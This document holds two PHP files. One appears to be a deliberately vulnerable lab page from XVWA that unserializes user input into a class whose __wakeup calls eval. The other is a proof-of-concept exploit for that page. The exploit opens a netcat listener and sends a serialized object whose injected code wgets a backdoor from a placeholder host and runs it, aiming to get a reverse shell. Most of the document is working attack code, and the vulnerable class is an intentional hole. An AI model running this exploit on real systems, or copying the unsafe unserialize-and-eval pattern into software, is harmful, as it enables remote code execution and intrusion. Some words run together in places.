< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >